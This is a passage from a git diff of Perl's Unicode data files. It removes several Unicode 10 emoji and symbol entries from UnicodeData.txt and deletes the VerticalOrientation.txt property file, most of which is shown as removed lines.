IDEOGRAPH-6557;So;0;L; 3014 6557 3015;;;;N;;;;; 1F250;CIRCLED IDEOGRAPH ADVANTAGE;So;0;L; 5F97;;;;N;;;;; 1F251;CIRCLED IDEOGRAPH ACCEPT;So;0;L; 53EF;;;;N;;;;; -1F260;ROUNDED SYMBOL FOR FU;So;0;ON;;;;;N;;;;; -1F261;ROUNDED SYMBOL FOR LU;So;0;ON;;;;;N;;;;; -1F262;ROUNDED SYMBOL FOR SHOU;So;0;ON;;;;;N;;;;; -1F263;ROUNDED SYMBOL FOR XI;So;0;ON;;;;;N;;;;; -1F264;ROUNDED SYMBOL FOR SHUANGXI;So;0;ON;;;;;N;;;;; -1F265;ROUNDED SYMBOL FOR CAI;So;0;ON;;;;;N;;;;; 1F300;CYCLONE;So;0;ON;;;;;N;;;;; 1F301;FOGGY;So;0;ON;;;;;N;;;;; 1F302;CLOSED UMBRELLA;So;0;ON;;;;;N;;;;; @@ -30202,8 +29248,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F6D0;PLACE OF WORSHIP;So;0;ON;;;;;N;;;;; 1F6D1;OCTAGONAL SIGN;So;0;ON;;;;;N;;;;; 1F6D2;SHOPPING TROLLEY;So;0;ON;;;;;N;;;;; -1F6D3;STUPA;So;0;ON;;;;;N;;;;; -1F6D4;PAGODA;So;0;ON;;;;;N;;;;; 1F6E0;HAMMER AND WRENCH;So;0;ON;;;;;N;;;;; 1F6E1;SHIELD;So;0;ON;;;;;N;;;;; 1F6E2;OIL DRUM;So;0;ON;;;;;N;;;;; @@ -30224,8 +29268,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F6F4;SCOOTER;So;0;ON;;;;;N;;;;; 1F6F5;MOTOR SCOOTER;So;0;ON;;;;;N;;;;; 1F6F6;CANOE;So;0;ON;;;;;N;;;;; -1F6F7;SLED;So;0;ON;;;;;N;;;;; -1F6F8;FLYING SAUCER;So;0;ON;;;;;N;;;;; 1F700;ALCHEMICAL SYMBOL FOR QUINTESSENCE;So;0;ON;;;;;N;;;;; 1F701;ALCHEMICAL SYMBOL FOR AIR;So;0;ON;;;;;N;;;;; 1F702;ALCHEMICAL SYMBOL FOR FIRE;So;0;ON;;;;;N;;;;; @@ -30575,18 +29617,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F8AB;RIGHTWARDS FRONT-TILTED SHADOWED WHITE ARROW;So;0;ON;;;;;N;;;;; 1F8AC;WHITE ARROW SHAFT WIDTH ONE;So;0;ON;;;;;N;;;;; 1F8AD;WHITE ARROW SHAFT WIDTH TWO THIRDS;So;0;ON;;;;;N;;;;; -1F900;CIRCLED CROSS FORMEE WITH FOUR DOTS;So;0;ON;;;;;N;;;;; -1F901;CIRCLED CROSS FORMEE WITH TWO DOTS;So;0;ON;;;;;N;;;;; -1F902;CIRCLED CROSS FORMEE;So;0;ON;;;;;N;;;;; -1F903;LEFT HALF CIRCLE WITH FOUR DOTS;So;0;ON;;;;;N;;;;; -1F904;LEFT HALF CIRCLE WITH THREE DOTS;So;0;ON;;;;;N;;;;; -1F905;LEFT HALF CIRCLE WITH TWO DOTS;So;0;ON;;;;;N;;;;; -1F906;LEFT HALF CIRCLE WITH DOT;So;0;ON;;;;;N;;;;; -1F907;LEFT HALF CIRCLE;So;0;ON;;;;;N;;;;; -1F908;DOWNWARD FACING HOOK;So;0;ON;;;;;N;;;;; -1F909;DOWNWARD FACING NOTCHED HOOK;So;0;ON;;;;;N;;;;; -1F90A;DOWNWARD FACING HOOK WITH DOT;So;0;ON;;;;;N;;;;; -1F90B;DOWNWARD FACING NOTCHED HOOK WITH DOT;So;0;ON;;;;;N;;;;; 1F910;ZIPPER-MOUTH FACE;So;0;ON;;;;;N;;;;; 1F911;MONEY-MOUTH FACE;So;0;ON;;;;;N;;;;; 1F912;FACE WITH THERMOMETER;So;0;ON;;;;;N;;;;; @@ -30602,7 +29632,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F91C;RIGHT-FACING FIST;So;0;ON;;;;;N;;;;; 1F91D;HANDSHAKE;So;0;ON;;;;;N;;;;; 1F91E;HAND WITH INDEX AND MIDDLE FINGERS CROSSED;So;0;ON;;;;;N;;;;; -1F91F;I LOVE YOU HAND SIGN;So;0;ON;;;;;N;;;;; 1F920;FACE WITH COWBOY HAT;So;0;ON;;;;;N;;;;; 1F921;CLOWN FACE;So;0;ON;;;;;N;;;;; 1F922;NAUSEATED FACE;So;0;ON;;;;;N;;;;; @@ -30611,17 +29640,7 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F925;LYING FACE;So;0;ON;;;;;N;;;;; 1F926;FACE PALM;So;0;ON;;;;;N;;;;; 1F927;SNEEZING FACE;So;0;ON;;;;;N;;;;; -1F928;FACE WITH ONE EYEBROW RAISED;So;0;ON;;;;;N;;;;; -1F929;GRINNING FACE WITH STAR EYES;So;0;ON;;;;;N;;;;; -1F92A;GRINNING FACE WITH ONE LARGE AND ONE SMALL EYE;So;0;ON;;;;;N;;;;; -1F92B;FACE WITH FINGER COVERING CLOSED LIPS;So;0;ON;;;;;N;;;;; -1F92C;SERIOUS FACE WITH SYMBOLS COVERING MOUTH;So;0;ON;;;;;N;;;;; -1F92D;SMILING FACE WITH SMILING EYES AND HAND COVERING MOUTH;So;0;ON;;;;;N;;;;; -1F92E;FACE WITH OPEN MOUTH VOMITING;So;0;ON;;;;;N;;;;; -1F92F;SHOCKED FACE WITH EXPLODING HEAD;So;0;ON;;;;;N;;;;; 1F930;PREGNANT WOMAN;So;0;ON;;;;;N;;;;; -1F931;BREAST-FEEDING;So;0;ON;;;;;N;;;;; -1F932;PALMS UP TOGETHER;So;0;ON;;;;;N;;;;; 1F933;SELFIE;So;0;ON;;;;;N;;;;; 1F934;PRINCE;So;0;ON;;;;;N;;;;; 1F935;MAN IN TUXEDO;So;0;ON;;;;;N;;;;; @@ -30646,7 +29665,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F949;THIRD PLACE MEDAL;So;0;ON;;;;;N;;;;; 1F94A;BOXING GLOVE;So;0;ON;;;;;N;;;;; 1F94B;MARTIAL ARTS UNIFORM;So;0;ON;;;;;N;;;;; -1F94C;CURLING STONE;So;0;ON;;;;;N;;;;; 1F950;CROISSANT;So;0;ON;;;;;N;;;;; 1F951;AVOCADO;So;0;ON;;;;;N;;;;; 1F952;CUCUMBER;So;0;ON;;;;;N;;;;; @@ -30662,19 +29680,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F95C;PEANUTS;So;0;ON;;;;;N;;;;; 1F95D;KIWIFRUIT;So;0;ON;;;;;N;;;;; 1F95E;PANCAKES;So;0;ON;;;;;N;;;;; -1F95F;DUMPLING;So;0;ON;;;;;N;;;;; -1F960;FORTUNE COOKIE;So;0;ON;;;;;N;;;;; -1F961;TAKEOUT BOX;So;0;ON;;;;;N;;;;; -1F962;CHOPSTICKS;So;0;ON;;;;;N;;;;; -1F963;BOWL WITH SPOON;So;0;ON;;;;;N;;;;; -1F964;CUP WITH STRAW;So;0;ON;;;;;N;;;;; -1F965;COCONUT;So;0;ON;;;;;N;;;;; -1F966;BROCCOLI;So;0;ON;;;;;N;;;;; -1F967;PIE;So;0;ON;;;;;N;;;;; -1F968;PRETZEL;So;0;ON;;;;;N;;;;; -1F969;CUT OF MEAT;So;0;ON;;;;;N;;;;; -1F96A;SANDWICH;So;0;ON;;;;;N;;;;; -1F96B;CANNED FOOD;So;0;ON;;;;;N;;;;; 1F980;CRAB;So;0;ON;;;;;N;;;;; 1F981;LION FACE;So;0;ON;;;;;N;;;;; 1F982;SCORPION;So;0;ON;;;;;N;;;;; @@ -30693,36 +29698,7 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 1F98F;RHINOCEROS;So;0;ON;;;;;N;;;;; 1F990;SHRIMP;So;0;ON;;;;;N;;;;; 1F991;SQUID;So;0;ON;;;;;N;;;;; -1F992;GIRAFFE FACE;So;0;ON;;;;;N;;;;; -1F993;ZEBRA FACE;So;0;ON;;;;;N;;;;; -1F994;HEDGEHOG;So;0;ON;;;;;N;;;;; -1F995;SAUROPOD;So;0;ON;;;;;N;;;;; -1F996;T-REX;So;0;ON;;;;;N;;;;; -1F997;CRICKET;So;0;ON;;;;;N;;;;; 1F9C0;CHEESE WEDGE;So;0;ON;;;;;N;;;;; -1F9D0;FACE WITH MONOCLE;So;0;ON;;;;;N;;;;; -1F9D1;ADULT;So;0;ON;;;;;N;;;;; -1F9D2;CHILD;So;0;ON;;;;;N;;;;; -1F9D3;OLDER ADULT;So;0;ON;;;;;N;;;;; -1F9D4;BEARDED PERSON;So;0;ON;;;;;N;;;;; -1F9D5;PERSON WITH HEADSCARF;So;0;ON;;;;;N;;;;; -1F9D6;PERSON IN STEAMY ROOM;So;0;ON;;;;;N;;;;; -1F9D7;PERSON CLIMBING;So;0;ON;;;;;N;;;;; -1F9D8;PERSON IN LOTUS POSITION;So;0;ON;;;;;N;;;;; -1F9D9;MAGE;So;0;ON;;;;;N;;;;; -1F9DA;FAIRY;So;0;ON;;;;;N;;;;; -1F9DB;VAMPIRE;So;0;ON;;;;;N;;;;; -1F9DC;MERPERSON;So;0;ON;;;;;N;;;;; -1F9DD;ELF;So;0;ON;;;;;N;;;;; -1F9DE;GENIE;So;0;ON;;;;;N;;;;; -1F9DF;ZOMBIE;So;0;ON;;;;;N;;;;; -1F9E0;BRAIN;So;0;ON;;;;;N;;;;; -1F9E1;ORANGE HEART;So;0;ON;;;;;N;;;;; -1F9E2;BILLED CAP;So;0;ON;;;;;N;;;;; -1F9E3;SCARF;So;0;ON;;;;;N;;;;; -1F9E4;GLOVES;So;0;ON;;;;;N;;;;; -1F9E5;COAT;So;0;ON;;;;;N;;;;; -1F9E6;SOCKS;So;0;ON;;;;;N;;;;; 20000;;Lo;0;L;;;;;N;;;;; 2A6D6;;Lo;0;L;;;;;N;;;;; 2A700;;Lo;0;L;;;;;N;;;;; @@ -30731,8 +29707,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 2B81D;;Lo;0;L;;;;;N;;;;; 2B820;;Lo;0;L;;;;;N;;;;; 2CEA1;;Lo;0;L;;;;;N;;;;; -2CEB0;;Lo;0;L;;;;;N;;;;; -2EBE0;;Lo;0;L;;;;;N;;;;; 2F800;CJK COMPATIBILITY IDEOGRAPH-2F800;Lo;0;L;4E3D;;;;N;;;;; 2F801;CJK COMPATIBILITY IDEOGRAPH-2F801;Lo;0;L;4E38;;;;N;;;;; 2F802;CJK COMPATIBILITY IDEOGRAPH-2F802;Lo;0;L;4E41;;;;N;;;;; diff --git a/lib/unicore/VerticalOrientation.txt b/lib/unicore/VerticalOrientation.txt deleted file mode 100644 index 567df2f2cb75..000000000000 --- a/lib/unicore/VerticalOrientation.txt +++ /dev/null @@ -1,2199 +0,0 @@ -# VerticalOrientation-10.0.0.txt -# Date: 2017-03-08, 02:05:46 GMT [EM, KI, LI] -# © 2017 Unicode®, Inc. -# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. -# For terms of use, see http://www.unicode.org/terms_of_use.html -# -# Unicode Character Database -# For documentation, see http://www.unicode.org/reports/tr44/ -# -# Vertical_Orientation (vo) Property -# -# This file defines the Vertical_Orientation property. See UAX #50: -# Unicode Vertical Text Layout, at http://www.unicode.org/reports/tr50/ -# -# The format of the file is two fields separated by a semicolon. -# Field 0: Unicode code point value or range of code point values in -# hexadecimal form -# Field 1: Vertical_Orientation property value, one of the following: -# U - Upright, the same orientation as in the code charts -# R - Rotated 90 degrees clockwise compared to the code charts -# Tu - Transformed typographically, with fallback to Upright -# Tr - Transformed typographically, with fallback to Rotated -# -# - Certain ranges of unassigned code points default to U. These ranges -# are mostly associated with CJK scripts and punctuation, or with -# a small number of other scripts which are predominantly Upright. -# The private use areas also default to U, because of their most -# common use for CJK. In the following list of explicit code points -# and ranges, all unassigned code points default to U: -# Canadian Syllabics Extended: U+18B0..U+18FF -# Reserved Default_Ignorable_Code_Point: U+2065 -# Number Forms: U+2150..U+218F -# Control Pictures & OCR U+2400..U+245F -# Symbols: U+2BB8..U+2BFF -# CJK-Related & Yi: U+2E80..U+A4CF -# Hangul Jamo Extended-A: U+A960..U+A97F -# Hangul Syllables & Jamo Extended-B: U+AC00..U+D7FF -# PUA & CJK Compatibility Ideographs: U+E000..U+FAFF -# Vertical Forms: U+FE10..U+FE1F -# Small Form Variants: U+FE50..U+FE6F -# Fullwidth Forms: U+FFE7 -# Specials: U+FFF0..U+FFF8 -# Siddham: U+11580..U+115FF -# Zanabazar Square & Soyombo: U+11A00..U+11AAF -# Egyptian Hieroglyphs: U+13000..U+1342F -# Anatolian Hieroglyphs: U+14400..U+1467F -# Ideographic Symbols & Tangut: U+16FE0..U+18AFF -# Kana Extended-A: U+1B100..U+1B12F -# Nushu: U+1B170..U+1B2FF -# Musical Symbols: U+1D000..U+1D1FF -# Symbols & Rods: U+1D300..U+1D37F -# Sutton SignWriting: U+1D800..U+1DAAF -# Game Symbols: U+1F000..U+1F0FF -# Enclosed Symbols: U+1F100..U+1F2FF -# Symbols: U+1F680..U+1F7FF -# Symbols and Pictographs: U+1F900..U+1F9FF -# Plane 2: U+20000..U+2FFFD -# Plane 3: U+30000..U+3FFFD -# Plane 15 PUA: U+F0000..U+FFFFD -# Plane 16 PUA: U+100000..U+10FFFD -# -# - All other code points, assigned and unassigned, that are not listed -# explicitly in the data section of this file are given the value R. -# -# The comments following the number sign "#" list the General_Category -# property value or the L& alias of the derived value LC, the Unicode -# character name or names, and, in lines with ranges of code points, -# the code point count in square brackets. -# -# @missing: 0000..10FFFF; R - -0000..001F ; R # Cc [32] .. -0020 ; R # Zs SPACE -0021..0023 ; R # Po [3] EXCLAMATION MARK..NUMBER SIGN -0024 ; R # Sc DOLLAR SIGN -0025..0027 ; R # Po [3] PERCENT SIGN..APOSTROPHE -0028 ; R # Ps LEFT PARENTHESIS -0029 ; R # Pe RIGHT PARENTHESIS -002A ; R # Po ASTERISK -002B ; R # Sm PLUS SIGN -002C ; R # Po COMMA -002D ; R # Pd HYPHEN-MINUS -002E..002F ; R # Po [2] FULL STOP..SOLIDUS -0030..0039 ; R # Nd [10] DIGIT ZERO..DIGIT NINE -003A..003B ; R # Po [2] COLON..SEMICOLON -003C..003E ; R # Sm [3] LESS-THAN SIGN..GREATER-THAN SIGN -003F..0040 ; R # Po [2] QUESTION MARK..COMMERCIAL AT -0041..005A ; R # Lu [26] LATIN CAPITAL LETTER A..LATIN CAPITAL LETTER Z -005B ; R # Ps LEFT SQUARE BRACKET -005C ; R # Po REVERSE SOLIDUS -005D ; R # Pe RIGHT SQUARE BRACKET -005E ; R # Sk CIRCUMFLEX ACCENT -005F ; R # Pc LOW LINE -0060 ; R # Sk GRAVE ACCENT -0061..007A ; R # Ll [26] LATIN SMALL LETTER A..LATIN SMALL LETTER Z -007B ; R # Ps LEFT CURLY BRACKET -007C ; R # Sm VERTICAL LINE -007D ; R # Pe RIGHT CURLY BRACKET -007E ; R # Sm TILDE -007F ; R # Cc -0080..009F ; R # Cc [32] .. -00A0 ; R # Zs NO-BREAK SPACE -00A1 ; R # Po INVERTED EXCLAMATION MARK -00A2..00A5 ; R # Sc [4] CENT SIGN..YEN SIGN -00A6 ; R # So BROKEN BAR -00A7 ; U # Po SECTION SIGN -00A8 ; R # Sk DIAERESIS -00A9 ; U # So COPYRIGHT SIGN -00AA ; R # Lo FEMININE ORDINAL INDICATOR -00AB ; R # Pi LEFT-POINTING DOUBLE ANGLE QUOTATION MARK -00AC ; R # Sm NOT SIGN -00AD ; R # Cf SOFT HYPHEN -00AE ; U # So REGISTERED SIGN -00AF ; R # Sk MACRON -00B0 ; R # So DEGREE SIGN -00B1 ; U # Sm PLUS-MINUS SIGN -00B2..00B3 ; R # No [2] SUPERSCRIPT TWO..SUPERSCRIPT THREE -00B4 ; R # Sk ACUTE ACCENT -00B5 ; R # Ll MICRO SIGN -00B6..00B7 ; R # Po [2] PILCROW SIGN..MIDDLE DOT -00B8 ; R # Sk CEDILLA -00B9 ; R # No SUPERSCRIPT ONE -00BA ; R # Lo MASCULINE ORDINAL INDICATOR -00BB ; R # Pf RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK -00BC..00BE ; U # No [3] VULGAR FRACTION ONE QUARTER..VULGAR FRACTION THREE QUARTERS -00BF ; R # Po INVERTED QUESTION MARK -00C0..00D6 ; R # Lu [23] LATIN CAPITAL LETTER A WITH GRAVE..LATIN CAPITAL LETTER O WITH DIAERESIS -00D7 ; U # Sm MULTIPLICATION SIGN -00D8..00F6 ; R # L& [31] LATIN CAPITAL LETTER O WITH STROKE..LATIN SMALL LETTER O WITH DIAERESIS -00F7 ; U # Sm DIVISION SIGN -00F8..00FF ; R # L& [8] LATIN SMALL LETTER O WITH STROKE..LATIN SMALL LETTER Y WITH DIAERESIS -0100..017F ; R # L& [128] LATIN CAPITAL LETTER A WITH MACRON..LATIN SMALL LETTER LONG S -0180..01BA ; R # L& [59] LATIN SMALL LETTER B WITH STROKE..LATIN SMALL LETTER EZH WITH TAIL -01BB ; R # Lo LATIN LETTER TWO WITH STROKE -01BC..01BF ; R # L& [4] LATIN CAPITAL LETTER TONE FIVE..LATIN LETTER WYNN -01C0..01C3 ; R # Lo [4] LATIN LETTER DENTAL CLICK..LATIN LETTER RETROFLEX CLICK -01C4..024F ; R # L& [140] LATIN CAPITAL LETTER DZ WITH CARON..LATIN SMALL LETTER Y WITH STROKE -0250..0293 ; R # Ll [68] LATIN SMALL LETTER TURNED A..LATIN SMALL LETTER EZH WITH CURL -0294 ; R # Lo LATIN LETTER GLOTTAL STOP -0295..02AF ; R # Ll [27] LATIN LETTER PHARYNGEAL VOICED FRICATIVE..LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL -02B0..02C1 ; R # Lm [18] MODIFIER LETTER SMALL H..MODIFIER LETTER REVERSED GLOTTAL STOP -02C2..02C5 ; R # Sk [4] MODIFIER LETTER LEFT ARROWHEAD..MODIFIER LETTER DOWN ARROWHEAD -02C6..02D1 ; R # Lm [12] MODIFIER LETTER CIRCUMFLEX ACCENT..MODIFIER LETTER HALF TRIANGULAR COLON -02D2..02DF ; R # Sk [14] MODIFIER LETTER CENTRED RIGHT HALF RING..MODIFIER LETTER CROSS ACCENT -02E0..02E4 ; R # Lm [5] MODIFIER LETTER SMALL GAMMA..MODIFIER LETTER SMALL REVERSED GLOTTAL STOP -02E5..02E9 ; R # Sk [5] MODIFIER LETTER EXTRA-HIGH TONE BAR..MODIFIER LETTER EXTRA-LOW TONE BAR -02EA..02EB ; U # Sk [2] MODIFIER LETTER YIN DEPARTING TONE MARK..MODIFIER LETTER YANG DEPARTING TONE MARK -02EC ; R # Lm MODIFIER LETTER VOICING -02ED ; R # Sk MODIFIER LETTER UNASPIRATED -02EE ; R # Lm MODIFIER LETTER DOUBLE APOSTROPHE -02EF..02FF ; R # Sk [17] MODIFIER LETTER LOW DOWN ARROWHEAD..MODIFIER LETTER LOW LEFT ARROW -0300..036F ; R # Mn [112] COMBINING GRAVE ACCENT..COMBINING LATIN SMALL LETTER X -0370..0373 ; R # L& [4] GREEK CAPITAL LETTER HETA..GREEK SMALL LETTER ARCHAIC SAMPI -0374 ; R # Lm GREEK NUMERAL SIGN -0375 ; R # Sk GREEK LOWER NUMERAL SIGN -0376..0377 ; R # L& [2] GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA..GREEK SMALL LETTER PAMPHYLIAN DIGAMMA -037A ; R # Lm GREEK YPOGEGRAMMENI -037B..037D ; R # Ll [3] GREEK SMALL REVERSED LUNATE SIGMA SYMBOL..GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL -037E ; R # Po GREEK QUESTION MARK -037F ; R # Lu GREEK CAPITAL LETTER YOT -0384..0385 ; R # Sk [2] GREEK TONOS..GREEK DIALYTIKA TONOS -0386 ; R # Lu GREEK CAPITAL LETTER ALPHA WITH TONOS -0387 ; R # Po GREEK ANO TELEIA -0388..038A ; R # Lu [3] GREEK CAPITAL LETTER EPSILON WITH TONOS..GREEK CAPITAL LETTER IOTA WITH TONOS -038C ; R # Lu GREEK CAPITAL LETTER OMICRON WITH TONOS -038E..03A1 ; R # L& [20] GREEK CAPITAL LETTER UPSILON WITH TONOS..GREEK CAPITAL LETTER RHO -03A3..03F5 ; R # L& [83] GREEK CAPITAL LETTER SIGMA..GREEK LUNATE EPSILON SYMBOL -03F6 ; R # Sm GREEK REVERSED LUNATE EPSILON SYMBOL -03F7..03FF ; R # L& [9] GREEK CAPITAL LETTER SHO..GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL -0400..0481 ; R # L& [130] CYRILLIC CAPITAL LETTER IE WITH GRAVE..CYRILLIC SMALL LETTER KOPPA -0482 ; R # So CYRILLIC THOUSANDS SIGN -0483..0487 ; R # Mn [5] COMBINING CYRILLIC TITLO..COMBINING CYRILLIC POKRYTIE -0488..0489 ; R # Me [2] COMBINING CYRILLIC HUNDRED THOUSANDS SIGN..COMBINING CYRILLIC MILLIONS SIGN -048A..04FF ; R # L& [118] CYRILLIC CAPITAL LETTER SHORT I WITH TAIL..CYRILLIC SMALL LETTER HA WITH STROKE -0500..052F ; R # L& [48] CYRILLIC CAPITAL LETTER KOMI DE..CYRILLIC SMALL LETTER EL WITH DESCENDER -0531..0556 ; R # Lu [38] ARMENIAN CAPITAL LETTER AYB..ARMENIAN CAPITAL LETTER FEH -0559 ; R # Lm ARMENIAN MODIFIER LETTER LEFT HALF RING -055A..055F ; R # Po [6] ARMENIAN APOSTROPHE..ARMENIAN ABBREVIATION MARK -0561..0587 ; R # Ll [39] ARMENIAN SMALL LETTER AYB..ARMENIAN SMALL LIGATURE ECH YIWN -0589 ; R # Po ARMENIAN FULL STOP -058A ; R # Pd ARMENIAN HYPHEN -058D..058E ; R # So [2] RIGHT-FACING ARMENIAN ETERNITY SIGN..LEFT-FACING ARMENIAN ETERNITY SIGN -058F ; R # Sc ARMENIAN DRAM SIGN -0591..05BD ; R # Mn [45] HEBREW ACCENT ETNAHTA..HEBREW POINT METEG -05BE ; R # Pd HEBREW PUNCTUATION MAQAF -05BF ; R # Mn HEBREW POINT RAFE -05C0 ; R # Po HEBREW PUNCTUATION PASEQ -05C1..05C2 ; R # Mn [2] HEBREW POINT SHIN DOT..HEBREW POINT SIN DOT -05C3 ; R # Po HEBREW PUNCTUATION SOF PASUQ -05C4..05C5 ; R # Mn [2] HEBREW MARK UPPER DOT..HEBREW MARK LOWER DOT -05C6 ; R # Po HEBREW PUNCTUATION NUN HAFUKHA -05C7 ; R # Mn HEBREW POINT QAMATS QATAN -05D0..05EA ; R # Lo [27] HEBREW LETTER ALEF..HEBREW LETTER TAV -05F0..05F2 ; R # Lo [3] HEBREW LIGATURE YIDDISH DOUBLE VAV..HEBREW LIGATURE YIDDISH DOUBLE YOD -05F3..05F4 ; R # Po [2] HEBREW PUNCTUATION GERESH..HEBREW PUNCTUATION GERSHAYIM -0600..0605 ; R # Cf [6] ARABIC NUMBER SIGN..ARABIC NUMBER MARK ABOVE -0606..0608 ; R # Sm [3] ARABIC-INDIC CUBE ROOT..ARABIC RAY -0609..060A ; R # Po [2] ARABIC-INDIC PER MILLE SIGN..ARABIC-INDIC PER TEN THOUSAND SIGN -060B ; R # Sc AFGHANI SIGN -060C..060D ; R # Po [2] ARABIC COMMA..ARABIC DATE SEPARATOR -060E..060F ; R # So [2] ARABIC POETIC VERSE SIGN..ARABIC SIGN MISRA -0610..061A ; R # Mn [11] ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM..ARABIC SMALL KASRA -061B ; R # Po ARABIC SEMICOLON -061C ; R # Cf ARABIC LETTER MARK -061E..061F ; R # Po [2] ARABIC TRIPLE DOT PUNCTUATION MARK..ARABIC QUESTION MARK -0620..063F ; R # Lo [32] ARABIC LETTER KASHMIRI YEH..ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE -0640 ; R # Lm ARABIC TATWEEL -0641..064A ; R # Lo [10] ARABIC LETTER FEH..ARABIC LETTER YEH -064B..065F ; R # Mn [21] ARABIC FATHATAN..ARABIC WAVY HAMZA BELOW -0660..0669 ; R # Nd [10] ARABIC-INDIC DIGIT ZERO..ARABIC-INDIC DIGIT NINE -066A..066D ; R # Po [4] ARABIC PERCENT SIGN..ARABIC FIVE POINTED STAR -066E..066F ; R # Lo [2] ARABIC LETTER DOTLESS BEH..ARABIC LETTER DOTLESS QAF -0670 ; R # Mn ARABIC LETTER SUPERSCRIPT ALEF -0671..06D3 ; R # Lo [99] ARABIC LETTER ALEF WASLA..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE -06D4 ; R # Po ARABIC FULL STOP -06D5 ; R # Lo ARABIC LETTER AE -06D6..06DC ; R # Mn [7] ARABIC SMALL HIGH LIGATURE SAD WITH LAM WITH ALEF MAKSURA..ARABIC SMALL HIGH SEEN -06DD ; R # Cf ARABIC END OF AYAH -06DE ; R # So ARABIC START OF RUB EL HIZB -06DF..06E4 ; R # Mn [6] ARABIC SMALL HIGH ROUNDED ZERO..ARABIC SMALL HIGH MADDA -06E5..06E6 ; R # Lm [2] ARABIC SMALL WAW..ARABIC SMALL YEH -06E7..06E8 ; R # Mn [2] ARABIC SMALL HIGH YEH..ARABIC SMALL HIGH NOON -06E9 ; R # So ARABIC PLACE OF SAJDAH -06EA..06ED ; R # Mn [4] ARABIC EMPTY CENTRE LOW STOP..ARABIC SMALL LOW MEEM -06EE..06EF ; R # Lo [2] ARABIC LETTER DAL WITH INVERTED V..ARABIC LETTER REH WITH INVERTED V -06F0..06F9 ; R # Nd [10] EXTENDED ARABIC-INDIC DIGIT ZERO..EXTENDED ARABIC-INDIC DIGIT NINE -06FA..06FC ; R # Lo [3] ARABIC LETTER SHEEN WITH DOT BELOW..ARABIC LETTER GHAIN WITH DOT BELOW -06FD..06FE ; R # So [2] ARABIC SIGN SINDHI AMPERSAND..ARABIC SIGN SINDHI POSTPOSITION MEN -06FF ; R # Lo ARABIC LETTER HEH WITH INVERTED V -0700..070D ; R # Po [14] SYRIAC END OF PARAGRAPH..SYRIAC HARKLEAN ASTERISCUS -070F ; R # Cf SYRIAC ABBREVIATION MARK -0710 ; R # Lo SYRIAC LETTER ALAPH -0711 ; R # Mn SYRIAC LETTER SUPERSCRIPT ALAPH -0712..072F ; R # Lo [30] SYRIAC LETTER BETH..SYRIAC LETTER PERSIAN DHALATH -0730..074A ; R # Mn [27] SYRIAC PTHAHA ABOVE..SYRIAC BARREKH -074D..074F ; R # Lo [3] SYRIAC LETTER SOGDIAN ZHAIN..SYRIAC LETTER SOGDIAN FE -0750..077F ; R # Lo [48] ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW..ARABIC LETTER KAF WITH TWO DOTS ABOVE -0780..07A5 ; R # Lo [38] THAANA LETTER HAA..THAANA LETTER WAAVU -07A6..07B0 ; R # Mn [11] THAANA ABAFILI..THAANA SUKUN -07B1 ; R # Lo THAANA LETTER NAA -07C0..07C9 ; R # Nd [10] NKO DIGIT ZERO..NKO DIGIT NINE -07CA..07EA ; R # Lo [33] NKO LETTER A..NKO LETTER JONA RA -07EB..07F3 ; R # Mn [9] NKO COMBINING SHORT HIGH TONE..NKO COMBINING DOUBLE DOT ABOVE -07F4..07F5 ; R # Lm [2] NKO HIGH TONE APOSTROPHE..NKO LOW TONE APOSTROPHE -07F6 ; R # So NKO SYMBOL OO DENNEN -07F7..07F9 ; R # Po [3] NKO SYMBOL GBAKURUNEN..NKO EXCLAMATION MARK -07FA ; R # Lm NKO LAJANYALAN -0800..0815 ; R # Lo [22] SAMARITAN LETTER ALAF..SAMARITAN LETTER TAAF -0816..0819 ; R # Mn [4] SAMARITAN MARK IN..SAMARITAN MARK DAGESH -081A ; R # Lm SAMARITAN MODIFIER LETTER EPENTHETIC YUT -081B..0823 ; R # Mn [9] SAMARITAN MARK EPENTHETIC YUT..SAMARITAN VOWEL SIGN A -0824 ; R # Lm SAMARITAN MODIFIER LETTER SHORT A -0825..0827 ; R # Mn [3] SAMARITAN VOWEL SIGN SHORT A..SAMARITAN VOWEL SIGN U -0828 ; R # Lm SAMARITAN MODIFIER LETTER I -0829..082D ; R # Mn [5] SAMARITAN VOWEL SIGN LONG I..SAMARITAN MARK NEQUDAA -0830..083E ; R # Po [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU -0840..0858 ; R # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0859..085B ; R # Mn [3] MANDAIC AFFRICATION MARK..MANDAIC GEMINATION MARK -085E ; R # Po MANDAIC PUNCTUATION -0860..086A ; R # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA -08A0..08B4 ; R # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW -08B6..08BD ; R # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON -08D4..08E1 ; R # Mn [14] ARABIC SMALL HIGH WORD AR-RUB..ARABIC SMALL HIGH SIGN SAFHA -08E2 ; R # Cf ARABIC DISPUTED END OF AYAH -08E3..08FF ; R # Mn [29] ARABIC TURNED DAMMA BELOW..ARABIC MARK SIDEWAYS NOON GHUNNA -0900..0902 ; R # Mn [3] DEVANAGARI SIGN INVERTED CANDRABINDU..DEVANAGARI SIGN ANUSVARA -0903 ; R # Mc 